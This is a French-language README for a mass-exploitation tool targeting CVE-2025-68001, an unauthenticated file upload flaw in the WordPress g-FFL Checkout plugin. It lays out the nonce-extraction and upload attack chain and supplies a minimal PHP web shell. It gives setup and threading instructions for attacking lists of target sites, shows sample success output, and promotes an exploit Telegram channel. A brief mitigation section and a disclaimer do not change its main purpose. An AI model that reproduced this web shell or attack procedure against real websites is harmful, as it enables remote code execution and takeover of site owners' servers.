
Le plugin WordPress g-FFL Checkout <= 2.1.0 est vulnérable à un téléversement arbitraire de fichiers à haute priorité.
Le plugin WordPress g-FFL Checkout <= 2.1.0 est vulnérable à un téléversement arbitraire de fichiers de haute priorité.
_ _ _ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ |_ (_) / \ / \ /|
\_ \/ |_ /_ \_/ /_ _) |_) (_) \_/ \_/ |
📡 Gardez une longueur d'avance. Rejoignez @KNxploited sur Telegram — votre source exclusive des dernières CVE, zero-days et recherches d'exploits de pointe. Mise à jour constante. Pas pour tout le monde.
CVE-2025-68001 est une vulnérabilité critique de téléversement arbitraire de fichiers sans authentification découverte dans le plugin WordPress g-FFL Checkout par garidium.
La vulnérabilité permet à un attaquant distant non authentifié de téléverser des fichiers arbitraires — y compris des web shells — sur le serveur cible via l'action AJAX ffl_upload_document, menant à une exécution de code à distance (RCE) complète.
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2025-68001 |
| Plugin | g-FFL Checkout (g-ffl-checkout) |
| Versions affectées | n/a jusqu'à <= 2.1.0 |
| Type de vulnérabilité | Téléversement de fichier sans restriction |
| Impact | Exécution de code à distance (RCE) |
| Authentification | Non requise |
| Sévérité CVSS | Critique |
| Chercheur | Nxploited |
L'exploit suit une chaîne d'attaque précise en plusieurs étapes :
1. GET /checkout
↓
Extract `checkout_nonce` from inline JavaScript data
2. POST /wp-admin/admin-ajax.php
action=ffl_upload_document
nonce=<extracted_nonce>
document_type=document
document=<shell.php disguised as image/png>
↓
Server stores the file without extension or MIME validation
3. Parse JSON response
↓
Extract uploaded file path / unique filename
4. Access uploaded shell via HTTP
↓
Remote Code Execution achieved ✔️
Le plugin expose un point de terminaison AJAX ffl_upload_document qui :
Installez toutes les dépendances avant l'exécution :
pip install requests rich
| Dépendance | Utilité |
|---|---|
requests | Requêtes HTTP et gestion de session |
rich | Interface terminal, barres de progression, panneaux |
threading | Traitement multi-thread des cibles |
Python 3.8+ est requis.
CVE-2025-68001/
├── CVE-2025-68001.py # Main exploit script
├── shell.php # Web shell to upload (you provide this)
├── list.txt # Target URLs (one per line)
└── success_results.txt # Auto-generated results output
Créez un fichier list.txt avec une URL cible par ligne :
https://target1.com
https://target2.com
http://target3.com/wordpress
Le script ajoute automatiquement
http://si aucun schéma n'est fourni.
Placez votre web shell PHP dans le même répertoire. Exemple de shell minimal :
<?php system($_GET['cmd']); ?>
Enregistrez-le sous shell.php (ou tout autre nom — il vous sera demandé de le saisir).
python CVE-2025-68001.py
Une invite interactive vous demandera :
Enter targets file name (default: list.txt):
> list.txt
Enter shell file name to upload (default: shell.php):
> shell.php
Enter number of threads (default: 50):
> 20
Les exploits réussis sont automatiquement enregistrés dans success_results.txt :
https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php
Chaque ligne contient :
| Invite | Défaut | Description |
|---|---|---|
| Fichier de cibles | list.txt | Fichier contenant les URL cibles |
| Fichier shell | shell.php | Shell PHP à téléverser vers la cible |
| Nombre de threads | 50 | Workers simultanés (max : 50) |
✔ https://victim.com — /checkout reachable. Trying exploit...
┌─────────────────────────────────────────────────────┐
│ Success │
│ https://victim.com │
│ Original Name: shell.php │
│ Unique Name: a7f3c1d9e.php │
│ Stored Path: /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘
All targets processed ✔️. Results saved to: success_results.txt
La vulnérabilité réside dans le gestionnaire AJAX du plugin enregistré sans vérification de capacités :
// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');
function ffl_upload_document() {
// Nonce verified from /checkout page (publicly accessible)
// No MIME type validation
// No extension whitelist/blacklist
move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
wp_send_json_success(['file_path' => $upload_path]);
}
Si vous êtes propriétaire de site ou développeur, prenez immédiatement les mesures suivantes :
g-ffl-checkout vers une version corrigée (> 2.1.0) si elle est disponible.htaccess).php suspectsTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL AND AUTHORIZED
SECURITY RESEARCH PURPOSES ONLY.
By using this script, you explicitly agree to the following:
• You have EXPLICIT written permission from the target system owner.
• You are operating in a controlled lab or authorized penetration testing engagement.
• You will NOT use this tool against any system you do not own or have legal
authorization to test.
• The author (Nxploited) holds ZERO liability for any damage, data loss,
legal consequences, or misuse resulting from this tool.
Unauthorized use of this tool against systems without permission is ILLEGAL
and may violate laws including but not limited to:
— Computer Fraud and Abuse Act (CFAA)
— EU Directive on Attacks Against Information Systems
— And equivalent laws in your jurisdiction.
USE RESPONSIBLY. HACK ETHICALLY.
| Pseudo | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Suivez @KNxploited sur Telegram pour recevoir les dernières divulgations de vulnérabilités, publications d'exploits, et recherches en sécurité — avant tout le monde.